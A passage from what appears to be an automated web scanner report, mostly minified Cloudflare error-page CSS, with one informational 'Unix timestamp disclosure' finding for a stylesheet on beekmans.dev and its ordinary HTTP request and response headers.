.cf-columns.four>.cf-column:first-child,#cf-wrapper .cf-columns.four>.cf-column:nth-child(4n+1){clear:left;padding-left:0;padding-right:33.75px}#cf-wrapper .cf-columns.cols-4>.cf-column:nth-child(4n+2),#cf-wrapper .cf-columns.four>.cf-column:nth-child(4n+2){padding-left:11.25px;padding-right:22.5px}#cf-wrapper .cf-columns.cols-4>.cf-column:nth-child(4n+3),#cf-wrapper .cf-columns.four>.cf-column:nth-child(4n+3){padding-left:22.5px;padding-right:11.25px}#cf-wrapper .cf-columns.cols-4>.cf-column:nth-child(n+5),#cf-wrapper .cf-columns.four>.cf-column:nth-child(n+5){padding-top:67.5px}#cf-wrapper .cf-columns.cols-4>.cf-column:nth-child(-n+4),#cf-wrapper .cf-columns.four>.cf-column:nth-child(-n+4){padding-top:0}}#cf-wrapper a{background:0 0;border:0;color:#2f7bbf;outline:0;text-decoration:none;-webkit-transition:all .15s ease;transition:all .15s ease}#cf-wrapper a:hover{background:0 0;border:0;color:#f68b1f}#cf-wrapper a:focus{background:0 0;border:0;color:#62a1d8;outline:0}#cf-wrapper a:active{background:0 0;border:0;color:#c16508;outline:0}#cf-wrapper h1,#cf-wrapper h2,#cf-wrapper h3,#cf-wrapper h4,#cf-wrapper h5,#cf-wrapper h6,#cf-wrapper p{color:#404040;margin:0;padding:0}#cf-wrapper h1,#cf-wrapper h2,#cf-wrapper h3{font-weight:400}#cf-wrapper h4,#cf-wrapper h5,#cf-wrapper h6,#cf-wrapper strong{font-weight:600}#cf-wrapper h1{font-size:36px;line-height:1.2}#cf-wrapper h2{font-size:30px;line-height:1.3}#cf-wrapper h3{font-size:25px;line-height:1.3}#cf-wrapper h4{font-size:20px;line-height:1.3}#cf-wrapper h5{font-size:15px}#cf-wrapper h6{font-size:13px}#cf-wrapper ol,#cf-wrapper ul{list-style:none;margin-left:3em}#cf-wrapper ul{list-style-type:disc}#cf-wrapper ol{list-style-type:decimal}#cf-wrapper em{font-style:italic}#cf-wrapper .cf-subheadline{color:#999;font-weight:300}#cf-wrapper .cf-text-error{color:#bd2426}#cf-wrapper .cf-text-success{color:#9bca3e}#cf-wrapper ol+h2,#cf-wrapper ol+h3,#cf-wrapper ol+h4,#cf-wrapper ol+h5,#cf-wrapper ol+h6,#cf-wrapper ol+p,#cf-wrapper p+dl,#cf-wrapper p+ol,#cf-wrapper p+p,#cf-wrapper p+table,#cf-wrapper p+ul,#cf-wrapper ul+h2,#cf-wrapper ul+h3,#cf-wrapper ul+h4,#cf-wrapper ul+h5,#cf-wrapper ul+h6,#cf-wrapper ul+p{margin-top:1.5em}#cf-wrapper h1+p,#cf-wrapper p+h1,#cf-wrapper p+h2,#cf-wrapper p+h3,#cf-wrapper p+h4,#cf-wrapper p+h5,#cf-wrapper p+h6{margin-top:1.25em}#cf-wrapper h1+h2,#cf-wrapper h1+h3,#cf-wrapper h2+h3,#cf-wrapper h3+h4,#cf-wrapper h4+h5{margin-top:.25em}#cf-wrapper h2+p{margin-top:1em}#cf-wrapper h1+h4,#cf-wrapper h1+h5,#cf-wrapper h1+h6,#cf-wrapper h2+h4,#cf-wrapper h2+h5,#cf-wrapper h2+h6,#cf-wrapper h3+h5,#cf-wrapper h3+h6,#cf-wrapper h3+p,#cf-wrapper h4+p,#cf-wrapper h5+ol,#cf-wrapper h5+p,#cf-wrapper h5+ul{margin-top:.5em}#cf-wrapper .cf-btn{background-color:transparent;border:1px solid #999;color:#404040;font-size:14px;font-weight:400;line-height:1.2;margin:0;padding:.6em 1.33333em .53333em;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;display:-moz-inline-stack;display:inline-block;vertical-align:middle;zoom:1;border-radius:2px;box-sizing:border-box;-webkit-transition:all .2s ease;transition:all .2s ease}#cf-wrapper .cf-btn:hover{background-color:#bfbfbf;border:1px solid #737373;color:#fff}#cf-wrapper .cf-btn:focus{color:inherit;outline:0;box-shadow:inset 0 0 4px rgba(0,0,0,.3)}#cf-wrapper .cf-btn.active,#cf-wrapper .cf-btn:active{background-color:#bfbfbf;border:1px solid #404040;color:#272727}#cf-wrapper .cf-btn::-moz-focus-inner{padding:0;border:0}#cf-wrapper .cf-btn .cf-caret{border-top-color:currentColor;margin-left:.25em;margin-top:.18333em}#cf-wrapper .cf-btn-primary{background-color:#2f7bbf;border:1px solid transparent;color:#fff}#cf-wrapper .cf-btn-primary:hover{background-color:#62a1d8;border:1px solid #2f7bbf;color:#fff}#cf-wrapper .cf-btn-primary.active,#cf-wrapper .cf-btn-primary:active,#cf-wrapper .cf-btn-primary:focus{background-color:#62a1d8;border:1px solid #163959;color:#fff}#cf-wrapper .cf-btn-danger,#cf-wrapper .cf-btn-error,#cf-wrapper .cf-btn-important{background-color:#bd2426;border-color:transparent;color:#fff}#cf-wrapper .cf-btn-danger:hover,#cf-wrapper .cf-btn-error:hover,#cf-wrapper .cf-btn-important:hover{background-color:#de5052;border-color:#bd2426;color:#fff}#cf-wrapper .cf-btn-danger.active,#cf-wrapper .cf-btn-danger:active,#cf-wrapper .cf-btn-danger:focus,#cf-wrapper .cf-btn-error.active,#cf-wrapper .cf-btn-error:active,#cf-wrapper .cf-btn-error:focus,#cf-wrapper .cf-btn-important.active,#cf-wrapper .cf-btn-important:active,#cf-wrapper .cf-btn-important:focus{background-color:#de5052;border-color:#521010;color:#fff}#cf-wrapper .cf-btn-accept,#cf-wrapper .cf-btn-success{background-color:#9bca3e;border:1px solid transparent;color:#fff}#cf-wrapper .cf-btn-accept:hover,#cf-wrapper .cf-btn-success:hover{background-color:#bada7a;border:1px solid #9bca3e;color:#fff}#cf-wrapper .active.cf-btn-accept,#cf-wrapper .cf-btn-accept:active,#cf-wrapper .cf-btn-accept:focus,#cf-wrapper .cf-btn-success.active,#cf-wrapper .cf-btn-success:active,#cf-wrapper .cf-btn-success:focus{background-color:#bada7a;border:1px solid #516b1d;color:#fff}#cf-wrapper .cf-btn-accept{color:transparent;font-size:0;height:36.38px;overflow:hidden;position:relative;text-indent:0;width:36.38px;white-space:nowrap}#cf-wrapper input,#cf-wrapper select,#cf-wrapper textarea{background:#fff!important;border:1px solid #999!important;color:#404040!important;font-size:.86667em!important;line-height:1.24!important;margin:0 0 1em!important;max-width:100%!important;outline:0!important;padding:.45em .75em!important;vertical-align:middle!important;display:-moz-inline-stack;display:inline-block;zoom:1;box-sizing:border-box;-webkit-transition:all .2s ease;transition:all .2s ease;border-radius:2px}#cf-wrapper input:hover,#cf-wrapper select:hover,#cf-wrapper textarea:hover{border-color:gray}#cf-wrapper input:focus,#cf-wrapper select:focus,#cf-wrapper textarea:focus{border-color:#2f7bbf;outline:0;box-shadow:0 0 8px rgba(47,123,191,.5)}#cf-wrapper fieldset{width:100%}#cf-wrapper label{display:block;font-size:13px;margin-bottom:.38333em}#cf-wrapper .cf-form-stacked .select2-container,#cf-wrapper .cf-form-stacked input,#cf-wrapper .cf-form-stacked select,#cf-wrapper .cf-form-stacked textarea{display:block;width:100%}#cf-wrapper .cf-form-stacked input[type=button],#cf-wrapper .cf-form-stacked input[type=checkbox],#cf-wrapper .cf-form-stacked input[type=submit]{display:-moz-inline-stack;display:inline-block;vertical-align:middle;zoom:1;width:auto}#cf-wrapper .cf-form-actions{text-align:right}#cf-wrapper .cf-alert{background-color:#f9b169;border:1px solid #904b06;color:#404040;font-size:13px;padding:7.5px 15px;position:relative;vertical-align:middle;border-radius:2px}#cf-wrapper .cf-alert:empty{display:none}#cf-wrapper .cf-alert .cf-close{border:1px solid transparent;color:inherit;font-size:18.75px;line-height:1;padding:0;position:relative;right:-18.75px;top:0}#cf-wrapper .cf-alert .cf-close:hover{background-color:transparent;border-color:currentColor;color:inherit}#cf-wrapper .cf-alert-danger,#cf-wrapper .cf-alert-error{background-color:#de5052;border-color:#521010;color:#fff}#cf-wrapper .cf-alert-success{background-color:#bada7a;border-color:#516b1d;color:#516b1d}#cf-wrapper .cf-alert-warning{background-color:#f9b169;border-color:#904b06;color:#404040}#cf-wrapper .cf-alert-info{background-color:#62a1d8;border-color:#163959;color:#163959}#cf-wrapper .cf-alert-nonessential{background-color:#ebebeb;border-color:#999;color:#404040}#cf-wrapper .cf-icon-exclamation-sign{background:url(/cdn-cgi/images/icon-exclamation.png?1376755637) 50% no-repeat;height:54px;width:54px;display:-moz-inline-stack;display:inline-block;vertical-align:middle;zoom:1}#cf-wrapper h1 .cf-icon-exclamation-sign{margin-top:-10px}#cf-wrapper #cf-error-banner{background-color:#fff;border-bottom:3px solid #f68b1f;padding:15px 15px 20px;position:relative;z-index:999999999;box-shadow:0 2px 8px rgba(0,0,0,.2)}#cf-wrapper #cf-error-banner h4,#cf-wrapper #cf-error-banner p{display:-moz-inline-stack;display:inline-block;vertical-align:bottom;zoom:1}#cf-wrapper #cf-error-banner h4{color:#2f7bbf;font-weight:400;font-size:20px;line-height:1;vertical-align:baseline}#cf-wrapper #cf-error-banner .cf-error-actions{margin-bottom:10px;text-align:center;width:100%}#cf-wrapper #cf-error-banner .cf-error-actions a{display:-moz-inline-stack;display:inline-block;vertical-align:middle;zoom:1}#cf-wrapper #cf-error-banner .cf-error-actions a+a{margin-left:10px}#cf-wrapper #cf-error-banner .cf-error-actions .cf-btn-accept,#cf-wrapper #cf-error-banner .cf-error-actions .cf-btn-success{color:#fff}#cf-wrapper #cf-error-banner .error-header-desc{text-align:left}#cf-wrapper #cf-error-banner .cf-close{color:#999;cursor:pointer;display:inline-block;font-size:34.5px;float:none;font-weight:700;height:22.5px;line-height:.6;overflow:hidden;position:absolute;right:20px;top:25px;text-indent:200%;width:22.5px}#cf-wrapper #cf-error-banner .cf-close:hover{color:gray}#cf-wrapper #cf-error-banner .cf-close:before{content:"\00D7";left:0;height:100%;position:absolute;text-align:center;text-indent:0;top:0;width:100%}#cf-inline-error-wrapper{box-shadow:0 2px 10px rgba(0,0,0,.5)}#cf-wrapper #cf-error-details{background:#fff}#cf-wrapper #cf-error-details .cf-error-overview{padding:25px 0 0}#cf-wrapper #cf-error-details .cf-error-overview h1,#cf-wrapper #cf-error-details .cf-error-overview h2{font-weight:300}#cf-wrapper #cf-error-details .cf-error-overview h2{margin-top:0}#cf-wrapper #cf-error-details .cf-highlight{background:#ebebeb;overflow-x:hidden;padding:30px 0;background-image:-webkit-gradient(linear,left top, left bottom,from(#dedede),color-stop(3%, #ebebeb),color-stop(97%, #ebebeb),to(#dedede));background-image:linear-gradient(top,#dedede,#ebebeb 3%,#ebebeb 97%,#dedede)}#cf-wrapper #cf-error-details .cf-highlight h3{color:#999;font-weight:300}#cf-wrapper #cf-error-details .cf-highlight .cf-column:last-child{padding-bottom:0}#cf-wrapper #cf-error-details .cf-highlight .cf-highlight-inverse{background-color:#fff;padding:15px;border-radius:2px}#cf-wrapper #cf-error-details .cf-status-display h3{margin-top:.5em}#cf-wrapper #cf-error-details .cf-status-label{color:#9bca3e;font-size:1.46667em}#cf-wrapper #cf-error-details .cf-status-label,#cf-wrapper #cf-error-details .cf-status-name{display:inline}#cf-wrapper #cf-error-details .cf-status-item{display:block;position:relative;text-align:left}#cf-wrapper #cf-error-details .cf-status-item,#cf-wrapper #cf-error-details .cf-status-item.cf-column{padding-bottom:1.5em}#cf-wrapper #cf-error-details .cf-status-item.cf-error-source{display:block;text-align:center}#cf-wrapper #cf-error-details .cf-status-item.cf-error-source:after{bottom:-60px;content:"";display:none;border-bottom:18px solid #fff;border-left:20px solid transparent;border-right:20px solid transparent;height:0;left:50%;margin-left:-9px;position:absolute;right:50%;width:0}#cf-wrapper #cf-error-details .cf-status-item+.cf-status-item{border-top:1px solid #dedede;padding-top:1.5em}#cf-wrapper #cf-error-details .cf-status-item+.cf-status-item:before{background:url(/cdn-cgi/images/cf-icon-horizontal-arrow.png) no-repeat;content:"";display:block;left:0;position:absolute;top:25.67px}#cf-wrapper #cf-error-details .cf-error-source .cf-icon-error-container{height:85px;margin-bottom:2.5em}#cf-wrapper #cf-error-details .cf-error-source .cf-status-label{color:#bd2426}#cf-wrapper #cf-error-details .cf-error-source .cf-icon{display:block}#cf-wrapper #cf-error-details .cf-error-source .cf-icon-status{bottom:-10px;left:50%;top:auto;right:auto}#cf-wrapper #cf-error-details .cf-error-source .cf-status-label,#cf-wrapper #cf-error-details .cf-error-source .cf-status-name{display:block}#cf-wrapper #cf-error-details .cf-icon-error-container{height:auto;position:relative}#cf-wrapper #cf-error-details .cf-icon-status{display:block;margin-left:-24px;position:absolute;top:0;right:0}#cf-wrapper #cf-error-details .cf-icon{display:none;margin:0 auto}#cf-wrapper #cf-error-details .cf-status-desc{display:block;height:22.5px;overflow:hidden;text-overflow:ellipsis;width:100%;white-space:nowrap}#cf-wrapper #cf-error-details .cf-status-desc:empty{display:none}#cf-wrapper #cf-error-details .cf-error-footer{padding:1.33333em 0;border-top:1px solid #ebebeb;text-align:center}#cf-wrapper #cf-error-details .cf-error-footer p{font-size:13px}#cf-wrapper #cf-error-details .cf-error-footer select{margin:0!important}#cf-wrapper #cf-error-details .cf-footer-item{display:block;margin-bottom:5px;text-align:left}#cf-wrapper #cf-error-details .cf-footer-separator{display:none}#cf-wrapper #cf-error-details .cf-captcha-info{margin-bottom:10px;position:relative;text-align:center}#cf-wrapper #cf-error-details .cf-captcha-image{height:57px;width:300px}#cf-wrapper #cf-error-details .cf-captcha-actions{margin-top:15px}#cf-wrapper #cf-error-details .cf-captcha-actions a{font-size:0;height:36.38px;overflow:hidden;padding-left:1.2em;padding-right:1.2em;position:relative;text-indent:-9999px;width:36.38px;white-space:nowrap}#cf-wrapper #cf-error-details .cf-captcha-actions a.cf-icon-refresh span{background-position:0 -787px}#cf-wrapper #cf-error-details .cf-captcha-actions a.cf-icon-announce span{background-position:0 -767px}#cf-wrapper #cf-error-details .cf-captcha-actions a.cf-icon-question span{background-position:0 -827px}#cf-wrapper #cf-error-details .cf-screenshot-container{background:url(/cdn-cgi/images/browser-bar.png?1376755637) no-repeat #fff;max-height:400px;max-width:100%;overflow:hidden;padding-top:53px;width:960px;border-radius:5px 5px 0 0}#cf-wrapper #cf-error-details .cf-screenshot-container .cf-no-screenshot{background:url(/cdn-cgi/images/cf-no-screenshot-warn.png) no-repeat;display:block;height:158px;left:25%;margin-top:-79px;overflow:hidden;position:relative;top:50%;width:178px}#cf-wrapper #cf-error-details .cf-captcha-container .cf-screenshot-container,#cf-wrapper #cf-error-details .cf-captcha-container .cf-screenshot-container img,#recaptcha-widget .cf-alert,#recaptcha-widget .recaptcha_only_if_audio,.cf-cookie-error{display:none}#cf-wrapper #cf-error-details .cf-screenshot-container .cf-no-screenshot.error{background:url(/cdn-cgi/images/cf-no-screenshot-error.png) no-repeat;height:175px}#cf-wrapper #cf-error-details .cf-screenshot-container.cf-screenshot-full .cf-no-screenshot{left:50%;margin-left:-89px}.cf-captcha-info iframe{max-width:100%}#cf-wrapper .cf-icon-ok{background:url(/cdn-cgi/images/cf-icon-ok.png) no-repeat;height:48px;width:48px}#cf-wrapper .cf-icon-error{background:url(/cdn-cgi/images/cf-icon-error.png) no-repeat;height:48px;width:48px}#cf-wrapper .cf-icon-browser{background:url(/cdn-cgi/images/cf-icon-browser.png) no-repeat;height:80px;width:100px}#cf-wrapper .cf-icon-cloud{background:url(/cdn-cgi/images/cf-icon-cloud.png) no-repeat;height:77px;width:151px}#cf-wrapper .cf-icon-server{background:url(/cdn-cgi/images/cf-icon-server.png) no-repeat;height:75px;width:95px}#cf-wrapper .cf-icon-railgun{background-position:0 -848px;height:81px;width:95px}#cf-wrapper .cf-caret{border:.33333em solid transparent;border-top-color:inherit;content:"";height:0;width:0;display:-moz-inline-stack;display:inline-block;vertical-align:middle;zoom:1}@media screen and (min-width:49.2em){#cf-wrapper #cf-error-details .cf-status-desc:empty,#cf-wrapper #cf-error-details .cf-status-item.cf-error-source:after,#cf-wrapper #cf-error-details .cf-status-item .cf-icon,#cf-wrapper #cf-error-details .cf-status-label,#cf-wrapper #cf-error-details .cf-status-name{display:block}#cf-wrapper .cf-wrapper{width:708px}#cf-wrapper #cf-error-banner{padding:20px 20px 25px}#cf-wrapper #cf-error-banner .cf-error-actions{margin-bottom:15px}#cf-wrapper #cf-error-banner .cf-error-header-desc h4{margin-right:.5em}#cf-wrapper #cf-error-details h1{font-size:4em}#cf-wrapper #cf-error-details .cf-error-overview{padding-top:2.33333em}#cf-wrapper #cf-error-details .cf-highlight{padding:4em 0}#cf-wrapper #cf-error-details .cf-status-item{text-align:center}#cf-wrapper #cf-error-details .cf-status-item,#cf-wrapper #cf-error-details .cf-status-item.cf-column{padding-bottom:0}#cf-wrapper #cf-error-details .cf-status-item+.cf-status-item{border:0;padding-top:0}#cf-wrapper #cf-error-details .cf-status-item+.cf-status-item:before{background-position:0 -544px;height:24.75px;margin-left:-37.5px;width:75px;background-size:131.25px auto}#cf-wrapper #cf-error-details .cf-icon-error-container{height:85px;margin-bottom:2.5em}#cf-wrapper #cf-error-details .cf-icon-status{bottom:-10px;left:50%;top:auto;right:auto}#cf-wrapper #cf-error-details .cf-error-footer{padding:2.66667em 0}#cf-wrapper #cf-error-details .cf-footer-item,#cf-wrapper #cf-error-details .cf-footer-separator{display:-moz-inline-stack;display:inline-block;vertical-align:baseline;zoom:1}#cf-wrapper #cf-error-details .cf-footer-separator{padding:0 .25em}#cf-wrapper #cf-error-details .cf-status-item.cloudflare-status:before{margin-left:-50px}#cf-wrapper #cf-error-details .cf-status-item.cloudflare-status+.status-item:before{margin-left:-25px}#cf-wrapper #cf-error-details .cf-screenshot-container{height:400px;margin-bottom:-4em;max-width:none}#cf-wrapper #cf-error-details .cf-captcha-container .cf-screenshot-container,#cf-wrapper #cf-error-details .cf-captcha-container .cf-screenshot-container img{display:block}}@media screen and (min-width:66em){#cf-wrapper .cf-wrapper{width:960px}#cf-wrapper #cf-error-banner .cf-close{position:relative;right:auto;top:auto}#cf-wrapper #cf-error-banner .cf-details{white-space:nowrap}#cf-wrapper #cf-error-banner .cf-details-link{padding-right:.5em}#cf-wrapper #cf-error-banner .cf-error-actions{float:right;margin-bottom:0;text-align:left;width:auto}#cf-wrapper #cf-error-details .cf-status-item+.cf-status-item:before{background-position:0 -734px;height:33px;margin-left:-50px;width:100px;background-size:auto}#cf-wrapper #cf-error-details .cf-status-item.cf-cloudflare-status:before{margin-left:-66.67px}#cf-wrapper #cf-error-details .cf-status-item.cf-cloudflare-status+.cf-status-item:before{margin-left:-37.5px}#cf-wrapper #cf-error-details .cf-captcha-image{float:left}#cf-wrapper #cf-error-details .cf-captcha-actions{position:absolute;top:0;right:0}}.no-js #cf-wrapper .js-only{display:none}#cf-wrapper #cf-error-details .heading-ray-id{font-family:monaco,courier,monospace;font-size:15px;white-space:nowrap}Evidence 1376755637Solution Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.
GET https://beekmans.dev/cdn-cgi/styles/cf.errors.css
Alert tags Alert description A timestamp was disclosed by the application/web server - Unix
Other info 999999999, which evaluates to: 2001-09-09 03:46:39
Request Request line and header section (279 bytes)
GET https://beekmans.dev/cdn-cgi/styles/cf.errors.css HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cache Referer: https://beekmans.dev/cdn-cgi/l/email-protectionRequest body (0 bytes)
Response Status line and header section (416 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:56:08 GMT Content-Type: text/css Content-Length: 23688 Connection: keep-alive Last-Modified: Wed, 01 Dec 2021 12:20:23 GMT ETag: "61a76887-5c88" Server: cloudflare CF-RAY: 6b94a4806f2d0c09-AMS X-Frame-Options: DENY X-Content-Type-Options: nosniff Expires: Mon, 06 Dec 2021 11:56:08 GMT Cache-Control: max-age=7200 Cache-Control: public Accept-Ranges: bytesResponse body (23688 bytes)
#cf-wrapper a,#cf-wrapper abbr,#cf-wrapper article,#cf-wrapper aside,#cf-wrapper b,#cf-wrapper big,#cf-wrapper blockquote,#cf-wrapper body,#cf-wrapper canvas,#cf-wrapper caption,#cf-wrapper center,#cf-wrapper cite,#cf-wrapper code,#cf-wrapper dd,#cf-wrapper del,#cf-wrapper details,#cf-wrapper dfn,#cf-wrapper div,#cf-wrapper dl,#cf-wrapper dt,#cf-wrapper em,#cf-wrapper embed,#cf-wrapper fieldset,#cf-wrapper figcaption,#cf-wrapper figure,#cf-wrapper footer,#cf-wrapper form,#cf-wrapper h1,#cf-wrapper h2,#cf-wrapper h3,#cf-wrapper h4,#cf-wrapper h5,#cf-wrapper h6,#cf-wrapper header,#cf-wrapper hgroup,#cf-wrapper html,#cf-wrapper i,#cf-wrapper iframe,#cf-wrapper img,#cf-wrapper label,#cf-wrapper legend,#cf-wrapper li,#cf-wrapper mark,#cf-wrapper menu,#cf-wrapper nav,#cf-wrapper object,#cf-wrapper ol,#cf-wrapper output,#cf-wrapper p,#cf-wrapper pre,#cf-wrapper s,#cf-wrapper samp,#cf-wrapper section,#cf-wrapper small,#cf-wrapper span,#cf-wrapper strike,#cf-wrapper strong,#cf-wrapper sub,#cf-wrapper summary,#cf-wrapper sup,#cf-wrapper table,#cf-wrapper tbody,#cf-wrapper td,#cf-wrapper tfoot,#cf-wrapper th,#cf-wrapper thead,#cf-wrapper tr,#cf-wrapper tt,#cf-wrapper u,#cf-wrapper ul{margin:0;padding:0;border:0;font:inherit;font-size:100%;text-decoration:none;vertical-align:baseline}#cf-wrapper a img{border:none}#cf-wrapper article,#cf-wrapper aside,#cf-wrapper details,#cf-wrapper figcaption,#cf-wrapper figure,#cf-wrapper footer,#cf-wrapper header,#cf-wrapper hgroup,#cf-wrapper menu,#cf-wrapper nav,#cf-wrapper section,#cf-wrapper summary{display:block}#cf-wrapper .cf-columns:after,#cf-wrapper .cf-columns:before,#cf-wrapper .cf-section:after,#cf-wrapper .cf-section:before,#cf-wrapper .cf-wrapper:after,#cf-wrapper .cf-wrapper:before,#cf-wrapper .clearfix:after,#cf-wrapper .clearfix:before,#cf-wrapper section:after,#cf-wrapper section:before{content:" ";display:table}#cf-wrapper .cf-columns:after,#cf-wrapper .cf-section:after,#cf-wrapper .cf-wrapper:after,#cf-wrapper .clearfix:after,#cf-wrapper section:after{clear:both}#cf-wrapper{display:block;margin:0;padding:0;position:relative;text-align:left;width:100%;z-index:999999999;color:#404040!important;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen,Ubuntu,Helvetica Neue,Arial,sans-serif!important;font-size:15px!important;line-height:1.5!important;text-decoration:none!important;letter-spacing:normal;-webkit-tap-highlight-color:rgba(246,139,31,.3);-webkit-font-smoothing:antialiased}#cf-wrapper .cf-section,#cf-wrapper section{background:0 0;display:block;margin-bottom:2em;margin-top:2em}#cf-wrapper .cf-wrapper{margin-left:auto;margin-right:auto;width:90%}#cf-wrapper .cf-columns{display:block;list-style:none;padding:0;width:100%}#cf-wrapper .cf-columns img,#cf-wrapper .cf-columns input,#cf-wrapper .cf-columns object,#cf-wrapper .cf-columns select,#cf-wrapper .cf-columns textarea{max-width:100%}#cf-wrapper .cf-columns>.cf-column{float:left;padding-bottom:45px;width:100%;box-sizing:border-box}@media screen and (min-width:49.2em){#cf-wrapper .cf-columns.cols-2>.cf-column:nth-child(n+3),#cf-wrapper .cf-columns.cols-3>.cf-column:nth-child(n+4),#cf-wrapper .cf-columns.cols-4>.cf-column:nth-child(n+3),#cf-wrapper .cf-columns.four>.cf-column:nth-child(n+3),#cf-wrapper .cf-columns.three>.cf-column:nth-child(n+4),#cf-wrapper .cf-columns.two>.cf-column:nth-child(n+3){padding-top:67.5px}#cf-wrapper .cf-columns>.cf-column{padding-bottom:0}#cf-wrapper .cf-columns.cols-2>.cf-column,#cf-wrapper .cf-columns.cols-4>.cf-column,#cf-wrapper .cf-columns.four>.cf-column,#cf-wrapper .cf-columns.two>.cf-column{padding-left:0;padding-right:22.5px;width:50%}#cf-wrapper .cf-columns.cols-2>.cf-column:nth-child(2n),#cf-wrapper .cf-columns.cols-4>.cf-column:nth-child(2n),#cf-wrapper .cf-columns.four>.cf-column:nth-child(2n),#cf-wrapper .cf-columns.two>.cf-column:nth-child(2n){padding-left:22.5px;padding-right:0}#cf-wrapper .cf-columns.cols-2>.cf-column:nth-child(odd),#cf-wrapper .cf-columns.cols-4>.cf-column:nth-child(odd),#cf-wrapper .cf-columns.four>.cf-column:nth-child(odd),#cf-wrapper .cf-columns.two>.cf-column:nth-child(odd){clear:left}#cf-wrapper .cf-columns.cols-3>.cf-column,#cf-wrapper .cf-columns.three>.cf-column{padding-left:30px;width:33.3333333333333%}#cf-wrapper .cf-columns.cols-3>.cf-column:first-child,#cf-wrapper .cf-columns.cols-3>.cf-column:nth-child(3n+1),#cf-wrapper .cf-columns.three>.cf-column:first-child,#cf-wrapper .cf-columns.three>.cf-column:nth-child(3n+1){clear:left;padding-left:0;padding-right:30px}#cf-wrapper .cf-columns.cols-3>.cf-column:nth-child(3n+2),#cf-wrapper .cf-columns.three>.cf-column:nth-child(3n+2){padding-left:15px;padding-right:15px}#cf-wrapper .cf-columns.cols-3>.cf-column:nth-child(-n+3),#cf-wrapper .cf-columns.three>.cf-column:nth-child(-n+3){padding-top:0}}@media screen and (min-width:66em){#cf-wrapper .cf-columns>.cf-column{padding-bottom:0}#cf-wrapper .cf-columns.cols-4>.cf-column,#cf-wrapper .cf-columns.four>.cf-column{padding-left:33.75px;width:25%}#cf-wrapper .cf-columns.cols-4>.cf-column:nth-child(odd),#cf-wrapper .cf-columns.four>.cf-column:nth-child(odd){clear:none}#cf-wrapper .cf-columns.cols-4>.cf-column:first-child,#cf-wrapper .cf-columns.cols-4>.cf-column:nth-child(4n+1),#cf-wrapper .cf-columns.four>.cf-column:first-child,#cf-wrapper .cf-columns.four>.cf-column:nth-child(4n+1){clear:left;padding-left:0;padding-right:33.75px}#cf-wrapper .cf-columns.cols-4>.cf-column:nth-child(4n+2),#cf-wrapper .cf-columns.four>.cf-column:nth-child(4n+2){padding-left:11.25px;padding-right:22.5px}#cf-wrapper .cf-columns.cols-4>.cf-column:nth-child(4n+3),#cf-wrapper .cf-columns.four>.cf-column:nth-child(4n+3){padding-left:22.5px;padding-right:11.25px}#cf-wrapper .cf-columns.cols-4>.cf-column:nth-child(n+5),#cf-wrapper .cf-columns.four>.cf-column:nth-child(n+5){padding-top:67.5px}#cf-wrapper .cf-columns.cols-4>.cf-column:nth-child(-n+4),#cf-wrapper .cf-columns.four>.cf-column:nth-child(-n+4){padding-top:0}}#cf-wrapper a{background:0 0;border:0;color:#2f7bbf;outline:0;text-decoration:none;-webkit-transition:all .15s ease;transition:all .15s ease}#cf-wrapper a:hover{background:0 0;border:0;color:#f68b1f}#cf-wrapper a:focus{background:0 0;border:0;color:#62a1d8;outline:0}#cf-wrapper a:active{background:0 0;border:0;color:#c16508;outline:0}#cf-wrapper h1,#cf-wrapper h2,#cf-wrapper h3,#cf-wrapper h4,#cf-wrapper h5,#cf-wrapper h6,#cf-wrapper p{color:#404040;margin:0;padding:0}#cf-wrapper h1,#cf-wrapper h2,#cf-wrapper h3{font-weight:400}#cf-wrapper h4,#cf-wrapper h5,#cf-wrapper h6,#cf-wrapper strong{font-weight:600}#cf-wrapper h1{font-size:36px;line-height:1.2}#cf-wrapper h2{font-size:30px;line-height:1.3}#cf-wrapper h3{font-size:25px;line-height:1.3}#cf-wrapper h4{font-size:20px;line-height:1.3}#cf-wrapper h5{font-size:15px}#cf-wrapper h6{font-size:13px}#cf-wrapper ol,#cf-wrapper ul{list-style:none;margin-left:3em}#cf-wrapper ul{list-style-type:disc}#cf-wrapper ol{list-style-type:decimal}#cf-wrapper em{font-style:italic}#cf-wrapper .cf-subheadline{color:#999;font-weight:300}#cf-wrapper .cf-text-error{color:#bd2426}#cf-wrapper .cf-text-success{color:#9bca3e}#cf-wrapper ol+h2,#cf-wrapper ol+h3,#cf-wrapper ol+h4,#cf-wrapper ol+h5,#cf-wrapper ol+h6,#cf-wrapper ol+p,#cf-wrapper p+dl,#cf-wrapper p+ol,#cf-wrapper p+p,#cf-wrapper p+table,#cf-wrapper p+ul,#cf-wrapper ul+h2,#cf-wrapper ul+h3,#cf-wrapper ul+h4,#cf-wrapper ul+h5,#cf-wrapper ul+h6,#cf-wrapper ul+p{margin-top:1.5em}#cf-wrapper h1+p,#cf-wrapper p+h1,#cf-wrapper p+h2,#cf-wrapper p+h3,#cf-wrapper p+h4,#cf-wrapper p+h5,#cf-wrapper p+h6{margin-top:1.25em}#cf-wrapper h1+h2,#cf-wrapper h1+h3,#cf-wrapper h2+h3,#cf-wrapper h3+h4,#cf-wrapper h4+h5{margin-top:.25em}#cf-wrapper h2+p{margin-top:1em}#cf-wrapper h1+h4,#cf-wrapper h1+h5,#cf-wrapper h1+h6,#cf-wrapper h2+h4,#cf-wrapper h2+h5,#cf-wrapper h2+h6,#cf-wrapper h3+h5,#cf-wrapper h3+h6,#cf-wrapper h3+p,#cf-wrapper h4+p,#cf-wrapper h5+ol,#cf-wrapper h5+p,#cf-wrapper h5+ul{margin-top:.5em}#cf-wrapper .cf-btn{background-color:transparent;border:1px solid #999;color:#404040;font-size:14px;font-weight:400;line-height:1.2;margin:0;padding:.6em 1.33333em .53333em;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;display:-moz-inline-stack;display:inline-block;vertical-align:middle;zoom:1;border-radius:2px;box-sizing:border-box;-webkit-transition:all .2s ease;transition:all .2s ease}#cf-wrapper .cf-btn:hover{background-color:#bfbfbf;border:1px solid #737373;color:#fff}#cf-wrapper .cf-btn:focus{color:inherit;outline:0;box-shadow:inset 0 0 4px rgba(0,0,0,.3)}#cf-wrapper 